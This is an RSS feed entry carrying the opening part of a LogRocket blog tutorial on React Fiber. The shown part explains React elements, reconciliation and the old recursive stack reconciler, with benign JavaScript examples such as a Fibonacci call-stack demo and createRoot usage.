<?xml version="1.0" encoding="UTF-8"?><rss xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title>logrocket-Dev</title><link>https://blog.logrocket.com/</link><atom:link href="http://rss.144-124-237-35.sslip.io/logrocket/dev" rel="self" type="application/rss+xml"></atom:link><description>logrocket-Dev - Powered by AtomRSS</description><generator>AtomRSS</generator><webMaster>contact@atomgroup.dev (AtomRSS)</webMaster><language>en</language><lastBuildDate>Sun, 09 Aug 2026 21:19:24 GMT</lastBuildDate><ttl>5</ttl><item><title>A deep dive into React Fiber</title><description>&lt;aside&gt;
            &lt;div class=&quot;sticky&quot;&gt;
                                
&lt;div class=&quot;toc-container&quot; id=&quot;post-toc&quot;&gt;
            &lt;div class=&quot;toc-header&quot;&gt;
            &lt;span class=&quot;toc-title&quot;&gt;
                Table of contents            &lt;/span&gt;
            &lt;i class=&quot;fa fa-chevron-down toc-collapse&quot;&gt;&lt;/i&gt;
            &lt;i class=&quot;hide fa fa-chevron-up toc-expand&quot;&gt;&lt;/i&gt;
        &lt;/div&gt;
        
&lt;ul data-toc-name=&quot;root&quot; class=&quot;toc&quot;&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/deep-dive-react-fiber/#what-is-react-fiber&quot;&gt;What is React Fiber?&lt;/a&gt;
        &lt;ul data-toc-name=&quot;what-is-react-fiber&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/deep-dive-react-fiber/#reacts-stack-reconciler&quot;&gt;What is React&#39;s stack reconciler?&lt;/a&gt;
        &lt;ul data-toc-name=&quot;reacts-stack-reconciler&quot; class=&quot;toc-subheading&quot;&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/deep-dive-react-fiber/#what-is-app&quot;&gt;What is &lt;code&gt;&amp;lt;App /&amp;gt;&lt;/code&gt;?&lt;/a&gt;
        &lt;ul data-toc-name=&quot;what-is-app&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/deep-dive-react-fiber/#why-does-react-use-elements-instead-of-dom-instances&quot;&gt;Why does React use elements instead of DOM instances?&lt;/a&gt;
        &lt;ul data-toc-name=&quot;why-does-react-use-elements-instead-of-dom-instances&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/deep-dive-react-fiber/#what-is-react-reconciliation&quot;&gt;What is React reconciliation?&lt;/a&gt;
        &lt;ul data-toc-name=&quot;what-is-react-reconciliation&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/deep-dive-react-fiber/#what-is-the-react-stack-reconciler&quot;&gt;What is the React stack reconciler?&lt;/a&gt;
        &lt;ul data-toc-name=&quot;what-is-the-react-stack-reconciler&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/deep-dive-react-fiber/#how-did-recursion-limit-reacts-old-reconciler&quot;&gt;How did recursion limit React&#39;s old reconciler?&lt;/a&gt;
        &lt;ul data-toc-name=&quot;how-did-recursion-limit-reacts-old-reconciler&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/deep-dive-react-fiber/#problems-with-dropped-frames&quot;&gt;What is frame rate and why does it cause UI jank?&lt;/a&gt;
        &lt;ul data-toc-name=&quot;problems-with-dropped-frames&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/deep-dive-react-fiber/#how-does-react-fiber-work&quot;&gt;How does React Fiber work under the hood?&lt;/a&gt;
        &lt;ul data-toc-name=&quot;how-does-react-fiber-work&quot; class=&quot;toc-subheading&quot;&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/deep-dive-react-fiber/#how-does-the-javascript-execution-stack-limit-rendering&quot;&gt;How does the JavaScript execution stack limit rendering?&lt;/a&gt;
        &lt;ul data-toc-name=&quot;how-does-the-javascript-execution-stack-limit-rendering&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/deep-dive-react-fiber/#singly-linked-list-of-fiber-nodes&quot;&gt;What is a singly-linked list of fiber nodes?&lt;/a&gt;
        &lt;ul data-toc-name=&quot;singly-linked-list-of-fiber-nodes&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/deep-dive-react-fiber/#type&quot;&gt;Type&lt;/a&gt;
        &lt;ul data-toc-name=&quot;type&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/deep-dive-react-fiber/#key&quot;&gt;Key&lt;/a&gt;
        &lt;ul data-toc-name=&quot;key&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/deep-dive-react-fiber/#child&quot;&gt;Child&lt;/a&gt;
        &lt;ul data-toc-name=&quot;child&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/deep-dive-react-fiber/#sibling&quot;&gt;Sibling&lt;/a&gt;
        &lt;ul data-toc-name=&quot;sibling&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/deep-dive-react-fiber/#return&quot;&gt;Return&lt;/a&gt;
        &lt;ul data-toc-name=&quot;return&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/deep-dive-react-fiber/#pendingprops-and-memoizedprops&quot;&gt;&lt;code&gt;pendingProps&lt;/code&gt; and &lt;code&gt;memoizedProps&lt;/code&gt;&lt;/a&gt;
        &lt;ul data-toc-name=&quot;pendingprops-and-memoizedprops&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/deep-dive-react-fiber/#pendingworkpriority&quot;&gt;&lt;code&gt;pendingWorkPriority&lt;/code&gt;&lt;/a&gt;
        &lt;ul data-toc-name=&quot;pendingworkpriority&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/deep-dive-react-fiber/#alternate&quot;&gt;Alternate&lt;/a&gt;
        &lt;ul data-toc-name=&quot;alternate&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/deep-dive-react-fiber/#output&quot;&gt;Output&lt;/a&gt;
        &lt;ul data-toc-name=&quot;output&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/deep-dive-react-fiber/#render-phase&quot;&gt;What happens during React Fiber&#39;s render phase?&lt;/a&gt;
        &lt;ul data-toc-name=&quot;render-phase&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/deep-dive-react-fiber/#workloopsync&quot;&gt;&lt;code&gt;workLoopSync()&lt;/code&gt;&lt;/a&gt;
        &lt;ul data-toc-name=&quot;workloopsync&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/deep-dive-react-fiber/#performunitofwork&quot;&gt;&lt;code&gt;performUnitOfWork()&lt;/code&gt;&lt;/a&gt;
        &lt;ul data-toc-name=&quot;performunitofwork&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/deep-dive-react-fiber/#beginwork&quot;&gt;&lt;code&gt;beginWork()&lt;/code&gt;&lt;/a&gt;
        &lt;ul data-toc-name=&quot;beginwork&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/deep-dive-react-fiber/#using-instancehandleclick&quot;&gt;Using &lt;code&gt;instance.handleClick()&lt;/code&gt;&lt;/a&gt;
        &lt;ul data-toc-name=&quot;using-instancehandleclick&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/deep-dive-react-fiber/#render-phase&quot;&gt;What happens during React Fiber&#39;s commit phase?&lt;/a&gt;
        &lt;ul data-toc-name=&quot;render-phase&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/deep-dive-react-fiber/#overview-of-changes-and-improvements-since-react-v16&quot;&gt;What key features were added to React Fiber since v16?&lt;/a&gt;
        &lt;ul data-toc-name=&quot;overview-of-changes-and-improvements-since-react-v16&quot; class=&quot;toc-subheading&quot;&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/deep-dive-react-fiber/#concurrent-rendering&quot;&gt;What is concurrent rendering?&lt;/a&gt;
        &lt;ul data-toc-name=&quot;concurrent-rendering&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/deep-dive-react-fiber/#suspense&quot;&gt;How does suspense work with selective hydration in React?&lt;/a&gt;
        &lt;ul data-toc-name=&quot;suspense&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/deep-dive-react-fiber/#transitions&quot;&gt;What are transitions?&lt;/a&gt;
        &lt;ul data-toc-name=&quot;transitions&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/deep-dive-react-fiber/#usetransition&quot;&gt;How do you use &lt;code&gt;useTransition&lt;/code&gt;?&lt;/a&gt;
        &lt;ul data-toc-name=&quot;usetransition&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/deep-dive-react-fiber/#asynchronous-transitions-and-actions&quot;&gt;What are asynchronous transitions and actions in React 19?&lt;/a&gt;
        &lt;ul data-toc-name=&quot;asynchronous-transitions-and-actions&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/deep-dive-react-fiber/#deferred-values&quot;&gt;What is &lt;code&gt;useDeferredValue&lt;/code&gt;?&lt;/a&gt;
        &lt;ul data-toc-name=&quot;deferred-values&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/deep-dive-react-fiber/#activity&quot;&gt;What is the &lt;code&gt;&amp;lt;Activity&amp;gt;&lt;/code&gt; component in React 19.2?&lt;/a&gt;
        &lt;ul data-toc-name=&quot;activity&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/deep-dive-react-fiber/#supporting-external-stores-during-concurrent-rendering&quot;&gt;How does &lt;code&gt;useSyncExternalStore&lt;/code&gt; protect external state in concurrent React?&lt;/a&gt;
        &lt;ul data-toc-name=&quot;supporting-external-stores-during-concurrent-rendering&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/deep-dive-react-fiber/#automatic-batching&quot;&gt;What is automatic batching?&lt;/a&gt;
        &lt;ul data-toc-name=&quot;automatic-batching&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/deep-dive-react-fiber/#the-react-compiler-moved-optimization-to-build-time&quot;&gt;How does the React Compiler optimize code at build time?&lt;/a&gt;
        &lt;ul data-toc-name=&quot;the-react-compiler-moved-optimization-to-build-time&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/deep-dive-react-fiber/#react-fiber-vs-react-compiler-frequently-asked-questions&quot;&gt;React Fiber vs. React Compiler: Key differences &amp;amp; FAQs&lt;/a&gt;
        &lt;ul data-toc-name=&quot;react-fiber-vs-react-compiler-frequently-asked-questions&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;&lt;/ul&gt;
    &lt;/li&gt;    &lt;li&gt;
        &lt;a href=&quot;https://blog.logrocket.com/deep-dive-react-fiber/#conclusion&quot;&gt;Conclusion&lt;/a&gt;
        &lt;ul data-toc-name=&quot;conclusion&quot; class=&quot;toc-subheading&quot;&gt;&lt;/ul&gt;
    &lt;/li&gt;&lt;/ul&gt;
    &lt;/div&gt;
                &lt;div class=&quot;plug-gutter&quot;&gt;
    &lt;div class=&quot;plug-gutter--image&quot;&gt;
        &lt;img src=&quot;https://blog.logrocket.com/wp-content/uploads/2023/12/GalileoAIPreview.png&quot; alt=&quot;LogRocket Galileo logo&quot; referrerpolicy=&quot;no-referrer&quot;&gt;
    &lt;/div&gt;
    &lt;div class=&quot;plug-gutter--top&quot;&gt;Introducing Galileo AI&lt;/div&gt;
    &lt;div class=&quot;plug-gutter--bottom&quot;&gt;LogRocket’s Galileo AI watches every session, surfacing impactful user struggle and key behavior patterns.&lt;/div&gt;
    &lt;div class=&quot;plug-gutter--cta&quot;&gt;
        &lt;a href=&quot;https://logrocket.com/products/galileo-ai&quot; class=&quot;plug-gutter--button&quot;&gt;LEARN MORE&lt;/a&gt;
    &lt;/div&gt;
&lt;/div&gt;


            &lt;/div&gt;
        &lt;/aside&gt;
        &lt;div id=&quot;the-content-container&quot;&gt;&lt;style&gt;
.plug-dev-top--card {
    border: 2px solid rgba(118, 74, 188, 0.2);
    border-radius: 8px;
    background-color: #491d90;
    justify-content: space-between;
    align-items: center;
    padding: 16px;
    font-family: &#39;Proxima Nova&#39;, sans-serif;
    display:flex;
    gap: 1rem;
    cursor: pointer;
}

.plug-dev-top--logo {
    width: 48px;
    height: 48px;
    border-radius: 50%;
}

.plug-dev-top--blurb {
    h2 {
        font-weight: 800;
        font-size: 22px;
        line-height: 22px;
        color: #fff;
        width: 70%;
        margin: 0 0 5px 0;
    }

    h3 {
        font-weight: 900;
        font-size: 13px;
        line-height: 13px;
        letter-spacing: 0.1em;
        color: #fff;
        opacity: 0.5;
        white-space: nowrap;
        margin: 0;
    }
}

.plug-dev-top--cta {
    background-color: #fff;
    color: #764abc;
    border: none;
    border-radius: 4px;
    padding: 10px;
    font-size: 16px;
    font-weight: 800;
    font-family: &#39;Proxima Nova&#39;, sans-serif;
    text-decoration: none;
    width: 25%;
    text-align: center;

    &amp;:hover {
        text-decoration: none;
        color: #a58ec8;
    }
}

.plug-dev-top--asset {
    position: relative;
    height: 400px;
    overflow: hidden;
    transition: all 0.3s ease;
    margin-top: 30px;

    &amp;.lr-hidden {
        height: 0;
        margin: 0;
    }
}
&lt;/style&gt;
&lt;div class=&quot;plug-dev-top&quot;&gt;
    &lt;div class=&quot;plug-dev-top--card&quot;&gt;
        &lt;img class=&quot;plug-dev-top--logo&quot; src=&quot;https://blog.logrocket.com/wp-content/uploads/2023/04/logrocket-logo-1.png&quot; referrerpolicy=&quot;no-referrer&quot;&gt;
        &lt;div class=&quot;plug-dev-top--blurb&quot;&gt;
            &lt;h2&gt;See how LogRocket&#39;s Galileo AI surfaces the most severe issues for you&lt;/h2&gt;
            &lt;h3&gt;No signup required&lt;/h3&gt;
        &lt;/div&gt;
        &lt;div class=&quot;plug-dev-top--cta&quot;&gt;Check it out&lt;/div&gt;
    &lt;/div&gt;
    &lt;div class=&quot;plug-dev-top--asset lr-hidden&quot;&gt;
        &lt;div style=&quot;position: absolute; top: 0; left: 0; height: 100%; width: 100%&quot;&gt;
            &lt;iframe id=&quot;galileo-wistia-iframe&quot; src=&quot;https://fast.wistia.net/embed/iframe/x7kl3pp560?web_component=true&amp;amp;seo=true&quot; title=&quot;Galileo AI Overview - May 2025 Video&quot; allow=&quot;autoplay; fullscreen&quot; class=&quot;wistia_embed&quot; name=&quot;wistia_embed&quot; width=&quot;100%&quot; height=&quot;100%&quot; referrerpolicy=&quot;no-referrer&quot;&gt;
            &lt;/iframe&gt;
        &lt;/div&gt;
    &lt;/div&gt;
&lt;/div&gt;



            
&lt;div class=&quot;lr-content&quot;&gt;
    &lt;!-- TEMP: .article-post is only used for adinserter to hook into --&gt;
    &lt;div class=&quot;article-post&quot;&gt;&lt;/div&gt;
    
&lt;p&gt;&lt;em&gt;&lt;strong&gt;Editor’s note: &lt;/strong&gt;This post was updated on 30 July 2026 by &lt;a href=&quot;https://blog.logrocket.com/author/davidomotayo/&quot;&gt;David Omotayo&lt;/a&gt; to reflect modern React architecture and updates to React Fiber from React v16 through React 19. Key additions include coverage of concurrent rendering, automatic batching, modern root APIs (&lt;code&gt;createRoot&lt;/code&gt;), Actions and asynchronous transitions in React 19, &lt;code&gt;useDeferredValue&lt;/code&gt;, the &lt;code&gt;Activity&lt;/code&gt; component introduced in React 19.2, expanded Suspense capabilities like selective hydration and sibling scheduling, and a new comparison of React Fiber and the React Compiler.&amp;nbsp;&lt;/em&gt;&lt;/p&gt;&lt;img fetchpriority=&quot;high&quot; decoding=&quot;async&quot; width=&quot;730&quot; height=&quot;487&quot; src=&quot;https://blog.logrocket.com/wp-content/uploads/2019/11/deep-dive-react-fiber.png&quot; class=&quot;attachment-full size-full wp-post-image&quot; alt=&quot;Deep Dive React Fiber&quot; srcset=&quot;https://blog.logrocket.com/wp-content/uploads/2019/11/deep-dive-react-fiber.png 730w, https://blog.logrocket.com/wp-content/uploads/2019/11/deep-dive-react-fiber-300x200.png 300w&quot; sizes=&quot;(max-width: 730px) 100vw, 730px&quot; referrerpolicy=&quot;no-referrer&quot;&gt;
&lt;p data-path-to-node=&quot;3,0&quot;&gt;Ever wondered what actually happens under the hood when you render a React application? We know that ReactDOM builds the DOM tree and displays your UI on screen, but how does React construct that tree, and how does it efficiently update it when state changes?&lt;/p&gt;
&lt;p data-path-to-node=&quot;3,1&quot;&gt;In this guide, we’ll explore React Fiber, React’s core reconciliation engine. We’ll look at how React built the DOM up through v15, the performance pitfalls of that early stack model, and how Fiber’s asynchronous architecture solved those issues from React v16 through React 19.&lt;/p&gt;
&lt;h2 id=&quot;what-is-react-fiber&quot;&gt;What is React Fiber?&lt;/h2&gt;
&lt;p&gt;React Fiber is an internal engine change geared to make React faster and smarter. The Fiber reconciler, which became the default reconciler for React 16 and above, is a complete rewrite of React’s reconciliation algorithm to solve some long-standing issues in React.&lt;/p&gt;
&lt;p&gt;Because Fiber is asynchronous, React can:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Pause, resume, and restart rendering work on components as new updates come in&lt;/li&gt;
&lt;li&gt;Reuse previously completed work and even abort it if not needed&lt;/li&gt;
&lt;li&gt;Split work into chunks and prioritize tasks based on importance&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This change allows React to break away from the limits of the synchronous stack reconciler. Previously, you could add or remove items, for example, but it had to work until the stack was empty, and tasks couldn’t be interrupted.&lt;/p&gt;
&lt;p&gt;This change also allows React to fine-tune rendering components, ensuring that the most important updates happen as soon as possible. Now, to truly understand the powers of Fiber, let’s talk about the old reconciler: the stack reconciler.&lt;/p&gt;
&lt;h2 id=&quot;reacts-stack-reconciler&quot;&gt;What is React’s stack reconciler?&lt;/h2&gt;
&lt;p&gt;Let’s start with our familiar &lt;code&gt;ReactDOM.render(&amp;lt;App /&amp;gt;, document.getElementById(&#39;root&#39;))&lt;/code&gt;. The &lt;code&gt;ReactDOM&lt;/code&gt; module passes the &lt;code&gt;&amp;lt;App /&amp;gt;&lt;/code&gt; to the reconciler, but there are two questions here:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;What does &lt;code&gt;&amp;lt;App /&amp;gt;&lt;/code&gt; refer to?&lt;/li&gt;
&lt;li&gt;What is the reconciler?&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Let’s unpack these two questions.&lt;/p&gt;
&lt;h3 id=&quot;what-is-app&quot;&gt;What is &lt;code&gt;&amp;lt;App /&amp;gt;&lt;/code&gt;?&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;&amp;lt;App /&amp;gt;&lt;/code&gt; is a React element, and “elements describe the tree.” &lt;a href=&quot;https://legacy.reactjs.org/blog/2015/12/18/react-components-elements-and-instances.html#elements-describe-the-tree&quot;&gt;According to the React blog&lt;/a&gt;, “An element is a plain object describing a component instance or DOM node and its desired properties.”&lt;/p&gt;
&lt;p&gt;In other words, elements are not actual DOM nodes or component instances; they are a way to describe to React what kind of elements they are, what properties they hold, and who their children are.&lt;/p&gt;
&lt;p&gt;This is where React’s real power lies: React abstracts away the complex pieces of how to build, render, and manage the lifecycle of the actual DOM tree by itself, effectively making the life of the developer easier.&lt;/p&gt;
&lt;p&gt;To understand what this really means, let’s look at a traditional approach using object-oriented concepts.&lt;/p&gt;
&lt;h3 id=&quot;why-does-react-use-elements-instead-of-dom-instances&quot;&gt;Why does React use elements instead of DOM instances?&lt;/h3&gt;
&lt;p&gt;React elements let developers describe the desired interface without manually creating, updating, and destroying every DOM object.&lt;/p&gt;
&lt;p&gt;In the typical object-oriented programming world, developers must instantiate and manage the lifecycle of every DOM element. For instance, if you want to create a simple form and a submit button, the state management still requires some effort from the developer.&lt;/p&gt;
&lt;p&gt;Let’s assume the &lt;code&gt;Button&lt;/code&gt; component has a &lt;code&gt;isSubmitted&lt;/code&gt; state variable. The lifecycle of the &lt;code&gt;Button&lt;/code&gt; component looks something like the flowchart below, where each state must be managed by the app:&lt;/p&gt;
&lt;p&gt;&lt;img decoding=&quot;async&quot; src=&quot;https://blog.logrocket.com/wp-content/uploads/2019/11/button-component-lifecycle.png&quot; alt=&quot;Button Component Lifecycle Flowchart&quot; referrerpolicy=&quot;no-referrer&quot;&gt;&lt;/p&gt;
&lt;p&gt;The size of the flowchart and the number of lines of code grow exponentially as the number of state variables increases.&lt;/p&gt;

&lt;p&gt;So, React has elements to solve this problem; in React, there are two kinds of elements: the DOM element and the component element.&lt;/p&gt;
&lt;p&gt;The DOM element is an element that’s a string; for instance, &lt;code&gt;&amp;lt;button class=&quot;okButton&quot;&amp;gt; OK &amp;lt;/button&amp;gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The component element is a class or a function, for example, &lt;code&gt;&amp;lt;Button className=&quot;okButton&quot;&amp;gt; OK &amp;lt;/Button&amp;gt;&lt;/code&gt;, where &lt;code&gt;&amp;lt;Button&amp;gt;&lt;/code&gt; is either a class or a functional component. These are the typical React components we generally use.&lt;/p&gt;
&lt;p&gt;It is important to understand that both types are simple objects. They are mere descriptions of what must be rendered on the screen and don’t instigate rendering when you create and instantiate them.&lt;/p&gt;
&lt;h3 id=&quot;what-is-react-reconciliation&quot;&gt;What is React reconciliation?&lt;/h3&gt;
&lt;p&gt;React reconciliation is the process React uses to compare component trees and determine which parts of the rendered output need to change.&lt;/p&gt;
&lt;p&gt;This makes it easier for React to parse and traverse them to build the DOM tree. The actual rendering happens later when traversing finishes.&lt;/p&gt;
&lt;p&gt;When React encounters a class or a function component, it will ask that element what element it renders based on its props.&lt;/p&gt;
&lt;p&gt;For instance, if the &lt;code&gt;&amp;lt;App&amp;gt;&lt;/code&gt; component rendered the following, then React will ask the &lt;code&gt;&amp;lt;Form&amp;gt;&lt;/code&gt; and &lt;code&gt;&amp;lt;Button&amp;gt;&lt;/code&gt; components what they render based on their corresponding props:&lt;/p&gt;
&lt;pre class=&quot;language-html hljs&quot;&gt;&amp;lt;Form&amp;gt;
  &amp;lt;Button&amp;gt;
    Submit
  &amp;lt;/Button&amp;gt;
&amp;lt;/Form&amp;gt;&lt;/pre&gt;
&lt;p&gt;So, if the &lt;code&gt;Form&lt;/code&gt; component is a functional component that looks like the following, React will call &lt;code&gt;render()&lt;/code&gt; to know what elements it renders and see that it renders a &lt;code&gt;&amp;lt;div&amp;gt;&lt;/code&gt; with a child&lt;/p&gt;

&lt;pre class=&quot;language-javascript hljs&quot;&gt;const Form = (props) =&amp;gt; {
  return(
    &amp;lt;div className=&quot;form&quot;&amp;gt;
      {props.form}
    &amp;lt;/div&amp;gt;
  )
}&lt;/pre&gt;
&lt;p&gt;React will repeat this process until it knows the underlying DOM tag elements for every component on the page.&lt;/p&gt;
&lt;p&gt;This exact process of recursively traversing a tree to know the underlying DOM tag elements of a React app’s component tree is known as reconciliation. By the end of the reconciliation, React knows the result of the DOM tree, and a renderer like &lt;code&gt;react-dom&lt;/code&gt; or &lt;code&gt;react-native&lt;/code&gt; applies the minimal set of changes necessary to update the DOM nodes. This means that when you call &lt;code&gt;ReactDOM.render()&lt;/code&gt; or &lt;code&gt;setState()&lt;/code&gt;, React performs reconciliation.&lt;/p&gt;
&lt;p&gt;In the case of &lt;code&gt;setState&lt;/code&gt;, it performs a traversal and determines what changed in the tree by diffing the new tree with the rendered tree. Then, it applies those changes to the current tree, thereby updating the state corresponding to the &lt;code&gt;setState()&lt;/code&gt; call.&lt;/p&gt;
&lt;p&gt;Note: &lt;code&gt;ReactDOM.render()&lt;/code&gt; is used in this section because it reflects the API available when Fiber was introduced. It was deprecated in React 18 and removed in React 19. Modern client-rendered applications use &lt;code&gt;createRoot()&lt;/code&gt; instead.&lt;/p&gt;
&lt;pre class=&quot;language-javascript hljs&quot;&gt;import { createRoot } from &quot;react-dom/client&quot;;

const root = createRoot(document.getElementById(&quot;root&quot;));

root.render(&amp;lt;App /&amp;gt;);&lt;/pre&gt;
&lt;p&gt;Now that we understand what reconciliation is, let’s look at the pitfalls of this model.&lt;/p&gt;
&lt;h3 id=&quot;what-is-the-react-stack-reconciler&quot;&gt;What is the React stack reconciler?&lt;/h3&gt;
&lt;p&gt;The stack reconciler was React’s original reconciliation system. It recursively processed the component tree using the JavaScript call stack and could not pause once rendering began. Its name is derived from the stack data structure, which is a last-in, first-out (LIFO) mechanism.&lt;/p&gt;
&lt;p&gt;You might wonder what stack behavior has to do with what we just covered. As it turns out, because we are performing recursion, it has everything to do with the call stack.&lt;/p&gt;
&lt;h3 id=&quot;how-did-recursion-limit-reacts-old-reconciler&quot;&gt;How did recursion limit React’s old reconciler?&lt;/h3&gt;
&lt;p&gt;React’s old reconciler recursively rendered each component and then moved through its children until it reached the leaf DOM elements.&lt;/p&gt;
&lt;p&gt;To understand why that’s the case, let’s take a simple example and see what happens in the &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Glossary/Call_stack&quot;&gt;call stack&lt;/a&gt;:&lt;/p&gt;
&lt;pre class=&quot;language-javascript hljs&quot;&gt;function fib(n) {
  if (n &amp;lt; 2){
    return n
  }
  return fib(n - 1) + fib (n - 2)
}

fib(10)&lt;/pre&gt;
&lt;p&gt;As we can see, the call stack pushes every call to &lt;code&gt;fib()&lt;/code&gt; into the stack until it pops &lt;code&gt;fib(1)&lt;/code&gt;, which is the first function call to return.&lt;/p&gt;
&lt;p&gt;Then, it continues pushing the recursive calls and pops again when it reaches the return statement. In this way, it effectively uses the call stack until &lt;code&gt;fib(3)&lt;/code&gt; returns and becomes the last item pop from the stack.&lt;/p&gt;
&lt;p&gt;&lt;img decoding=&quot;async&quot; src=&quot;https://blog.logrocket.com/wp-content/uploads/2019/11/call-stack-diagram.png&quot; alt=&quot;Call Stack Diagram&quot; referrerpolicy=&quot;no-referrer&quot;&gt;&lt;/p&gt;
&lt;p&gt;The reconciliation algorithm we just saw is a purely recursive algorithm. An update results in the entire subtree re-rendering immediately. While this works well, this has some limitations.&lt;/p&gt;
&lt;p&gt;As &lt;a href=&quot;https://github.com/acdlite/react-fiber-architecture&quot;&gt;Andrew Clark notes&lt;/a&gt;, in a UI, it’s not necessary for every update to apply immediately; in fact, doing so can be wasteful, causing frames to drop and degrading the user experience.&lt;/p&gt;
&lt;p&gt;Also, different types of updates have different priorities; an animation update must be completed faster than an update from a data store.&lt;/p&gt;
&lt;h3 id=&quot;problems-with-dropped-frames&quot;&gt;What is frame rate and why does it cause UI jank?&lt;/h3&gt;
&lt;p&gt;Frame rate is the frequency at which consecutive images appear on a display. Everything we see on our computer screens is composed of images or frames played on the screen at a rate that appears instantaneous to the eye.&lt;/p&gt;
